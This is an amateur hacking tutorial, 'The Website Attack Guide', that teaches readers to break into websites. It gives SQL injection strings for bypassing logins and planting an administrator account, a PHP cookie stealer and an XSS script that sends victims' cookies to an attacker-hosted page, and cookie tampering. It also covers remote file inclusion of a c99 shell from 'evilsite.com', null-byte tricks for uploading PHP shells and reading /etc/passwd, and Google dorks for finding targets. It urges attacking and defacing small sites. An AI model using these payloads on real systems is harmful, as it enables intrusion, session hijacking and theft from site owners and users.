The Website Attack Guide

By Ethernet
Securitydb.org

Contents

Intro
[0a]

The goal of this project is to teach others the skills needed to take control of a webpage. We will go over the methods fairly quickly, but rest assured, we will provide links for further knowledge as that is what we are encouraging. The skills learned should be applied in an ethical manner - we don't want anyone getting arrested as a result of this paper. We also hope everyone is able to use common sense and go after small sites, which don't handle credit card numbers etc. If you break into one of these sites with paypal info you will be fucked.

Please enjoy this paper and use caution when attack a website.
Good luck and have fun.

Knowing Your Enemy
[0b]

Although this tutorial is focused mainly on web based attacks it is very important to enumerate your target. Using certain tools (the non-skiddie kind) we are able to find out what ports are open, the OS of the server and other important data. The first thing we should do is scan the target for open ports using a port scanner. I use Super Scanner 4.0 by Foundstone because it has a nice GUI, but others will argue NMAP is a much better scanner.

Once the ports are scanned and we have jotted down, in a text file, which ports they are and what services run on them, we can run a directory mapping program. The favored program is something called Intellitamper which maps out directories - sometimes disclosing hidden directories that you weren't meant to find!

To gather more information, such as the registrar of the domain we can use online resources such as `whois.networksolutions.com and dnsstuff.com, which both give us valuable information on the target.`

SQL Injection Login Bypass
[1a]

Welcome to the wonderful world of SQL Injections. This first method is the easiest.

This section will be short and straight forward. What we will be doing is injecting into the login username and password section in order to fool the server into giving us access. When attempting to attack a site this should probably be the first method you try.

Our injection will look something like this:

‘OR 1=1--

Yes, it’s that simple. We will put this in the username and password fields. By doing this we are tricking the SQL query into giving us privileges on the website.

There is another method where you are able to inject into the URL. This technique is essentially the same. Example:

www.target.com/index.php?id=0

The is what the target website’s page looks like. We are going to inject into the id= part of the URL. Hopefully this will give us a positive login and we will have privileges. Our injection might look something like this:

www.target.com/index.php?id=0 ‘OR 1=1--

This method is sometimes referred to ’Blind SQL Injection’ as we don’t exactly know what this will do (hence ’blind’).

Both methods have the same outcome. There are several injections that are commonly used such as:

admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
‘hi or 1=1--

The injections work basically the same other than some will get past different filter settings, depending on what the admin of the site has them set to.

Points for Further Knowledge:
http://www.sqlsecurity.com/ - General SQL Security/Injection information
http://w3schools.com/sql/default.asp - Learning the SQL language

This method is one of the more advanced SQL Injection methods. There are three steps. First, we have to generate an error so that we can see the table names (so that we can create a privileged account). Next we have generate a slightly different error to gain another important table name. Finally, we will inject SQL in order to create a new administrator account.

To accomplish our first goal we will inject something like the following:

Username: 'Having1=1--

Enter this and leave the password field blanks. Once this is injected we will, hopefully, receive an error message that will reveal a table name. We are hoping to get an error such as this:

Column user_member.user_id is invalid and was not found etc.

The error will be longer than that but all we really need is the table name. 'user_member.id'. Next, we will inject some SQL so that we can produce yet another error. Like so:

'UNION SELECT * FROM user_member WHERE USER_ID='admin' GROUP BY USER_ID HAVING 1=1;--

Now we have generated another error. The error may look something like the following.

Column user_member.user_id is invalid and was not found … Column user_member.passwd is invalid and was not found etc.

The above example shows us that there user_member.passwd holds the passwords. We will now attempt to create another user, thus gaining us privileges. Use the bellow code in the Username field to insert the user:

'INSERT INTO user_member (USER_NAME, LOGIN_ID, PASSWORD, CREATION_DATE) VALUES('Ethernet','hacked','hacked',GETDATE();--

Success! We can now login with the username 'Ethernet' and the password 'hacked'.

Please note that the errors have been shortened down and everything simplified for the purpose of this paper. This concludes the SQL Injection module of this paper.

Points for Further Knowledge:
http://w3schools.com/sql/default.asp - Learning the SQL language
(It is highly recommended that you read the information provided in the above link, it is essential for expanding your SQL Injection skills)

XSS - Cookie Stealer
[2a]

First off, XSS (or CSS) stands for Cross Site Scripting. What we will learn today, specifically, is how to inject code into a guest book or insecure forum so that the users cookies will be logged.

Cookies are used on allot of websites to verify authentication. The cookies are unique for each user. So, if we take the cookies we are technically able to become that user.

Now, let's get down to it with some cookie stealer code. We'll need to have a sub domain to host this on so you can get one at dajoob (www.dajoob.com), which I prefer. So, once we have this we can use the following PHP code for our cookie stealer:

```
<?php
/*Ethernets Cookie Stealer */
/*Put this up on your free site */
$cookie = $_GET['cookie'];
$log = fopen("cookies11.txt","a");
fwrite($log, $cookie ."\n");
fclose($log);
?>
```

Name this file 'stealer.php'. This is the basis of our cookie stealer. Let's quickly run through this line-by-line.

```
$cookie = $_GET['cookie'];
```

This sets the variable $cookie to whatever is inputted as $_GET['cookie']. This is important because this is what stores the users cookie value.

```
$log = fopen("cookies11.txt","a");
```

This sets the variable $log to op the text file'cookies11' and set the permissions it needs to write to it with the "a" part of it.

```
fwrite($log, $cookie ."\n");
```

Writes the user cookie to the log file.

```
fclose($log);
```

Closes the log file.

Now that we understand how the code works we can move on to the xss injection part of this section. You must realize that there must be, what's known as, a permanent xss hole in the web application. A permanent xss usually pertains to something like a guestbook or forum. To test whether we are able to inject xss into the forum insert the following test script:

```
<script>alert('Testing For XSS Hole')</script>
```

If there is a hole the text "Testing For XSS Hole" will show up in an alert box. Now, then, if all is well and we have a permanent xss hole we can enter the following redirect code:

```
<script>
window.location = 'http://yoursite.com/stealer.php?cookie=' + document.cookie;
</script>
```

This code redirects the user to http://yoursite.com/stealer.php and then adds the users cookie to the end. If we now check our file there should be a user cookie inside 'cookies11.txt'.

JavaScript - Cookie Manipulation [3a]

This is a fairly straight forward and simple method - it will either work, or it wont. That simple. First off, a cookie is used, allot of times in websites, to authenticate a user. Sometimes you will see cookies that look like:

```
Admin=false;
```

Or

```
Logged_in=true;
```

I've seen both of these used at one point or another. Especially if the cookie is something like "admin=false;", you main be wondering "How can we use this to gain administrative access?". Easy - JavaScript injections.

To view what our cookies look like on a given website we can enter some simple JavaScript into the url bar:

```
Javascript:alert(document.cookie);
```

This will create an alert box that contains that the user has. For the sake of this

demonstration, let's say the cookies look something like this:

Logged_in=true, admin=false, fusionid=12312313

So, the only part that really matters to us is "admin=false", the rest is just non-sense that we needn't worry about. Obviously, you probably wont find too many websites with such a blatant vulnerability, but this is only meant to outline the basics of how to do this.

Obviously, we can see that if we edit this cookie to "admin=true" we will have administrative privileges. With this next simple JavaScript injection we are able to change the cookie.

Javascript:void(document.cookie="admin=true");

Yes, that one line of JavaScript can give you administrative rights under the right circumstances.

Remote File Inclusion
[4a]

Although Remote File Inclusion (RFI) exploits are very simple and are only found in about 1 in every 10 sites - they are still allot of fun to exploit. In this tutorial i will show you how to take advantage of this coding error and possibly take control of the site.

A Remote File Inclusion exploit is when we trick the web server in to putting our file (file uploader/php shell) in to the web page. It then parses our PHP script and we then have fullc ontrol over the server. The exploit works because when a website calls another page to be displayed except, we edit the url so that the website thinks our shell is the page to display.
Normally, i'm against stuff like this. I beleive people should find their own vulnerable sites. But, for the sake of this paper, i will show you how we can use google to get us vulnerable sites. We will query google like so:

inurl:"index.php?page="

This query asks google to give us any page with index.php?page= in the url. If we look at it, we can see that 'page' is calling up whatever is after the equals sign. This is where the actual exploit lies. A good test to see if a website is actually vulnerable is to enter www.google.com after the equal sign.

www.site.com/index.php?page=www.google.com

If the full google.com website appears on the page, the websiteis vulnerable. If not, keep looking.

To exploit the vulnerability we must first look at the following example of a RFI:

www.shittysite.com/index.php?page=www.evilsite.com/shell.txt?

A) Get a free host website (like dajoob or free webs)
B) Put a PHP shell (c99) in text form on the site
C) Insert the path to the shell in the vulnerable hosts url,
like the example above.
D) You can then proceed to deface the site etc.

As you can see it's very basic. That's why, while looking forwebsites, you may not find very many.

To fix an RFI vulnerability we will use the following example to show how to fix it:

Vulnerable: require($page . "otherpage.php");
Fixed: require("otherpage.php");

So, instead of having:

index.php?page=otherpage.php

Which is vulnerable, we get:

index.php?otherpage.php

This eliminates any way of injecting malicious code in to the url.

I hope that you are all able to grasp RFI exploits as they are very simple.

Null Byte - Picture Upload

[5a]

First of all, what is a 'Null Byte'? A null character/null byte/null terminator is a character with a value of zero that is shown in the ASCII Charest. And, in programming languages (php included) the null byte is used as, what's know as, a 'string terminator'. When the null byte is read the string ends. The null byte is represented with '%00' in php. We are able to harness the 'power' of the null byte to trick a picture upload form into letting us upload our own phpshell. There are allot of websites with image uploading features, so they are not hard to find. You can use the Google dork: "Upload Image" to find some of them.

Now that we have a target we are able to start exploiting.
Go to your targets upload page and click the 'Browse' button and navigate to a php shell. Just for the sake of Proof of Concept, try to upload this file normally. You will get an

error such as:
"We're sorry, but the file you entered is using an extension that is not alloud. Images only please!"
We see from this that only images are supported - and a regular php shell will not wok. Let's browse to our shell again, but this time we will change the upload bar to look like this, adding in the nullbyte character:

C:\c99.php%00.jpg

When the script checks if our file it will see the .jpg and 'say' "Yep, looks like an image to me" and upload it. Fortunately for us, when the file is actually uploaded it is uploaded with the .php extension because the null byte terminates anything after that. If it worked we will see:
"Thank you for uploading your pictures - view your file at /c99.php"

This concludes the first null byte exploitation article i will right. The second will be on exploiting cgi files using the null byte.

Points for Further Knowledge:
http://en.wikipedia.org/wiki/Null_character - In-depth of what and how the null character works

Null Byte - CGI Exploitation
[5a]

Hopefully, you all have read my first nullbyte exploitation article and know what a nullbyte is. If you dont
know what it is and havent read my article the nullbyte is a string used in programming languages that terminates the string. We will be using the nullbyte to trick a cgi file into displaying it's own code!
In this edition of nullbyte exploitation we will see how we are able to exploit perl cgi files on the web. The first example shows of a cgi page that uses the following to access .html pages:

index.cgi?pageid=3

This, in turn, shows us 3.html. This is not a huge vulnerability, in itself. But, when we apply the nullbyte something magical happends . A simple PoC i will show you is how we are able to view the source of index.cgi. Look below for an example.

index.cgi?pageid=index.cgi%00

When we enter the null byte into the url it terminates everything so that the .html exrension is not put on.
Although i havent tested this theory, but, we should be able to access /etc/passwd using

this method.

index.cgi?pageid=/ect/passwd%00

Theoretically this should open up /etc/passwd and display the password file! Obviously, the possibilities from this point are endless.

Conclusion
[0c]

The main point of this paper is knowledge - I hope you have gained some. Thanks for reading. Any comments or suggestions can be emailed to me at davema87@hotmail.com or add me to msn if you like.

~Ethernet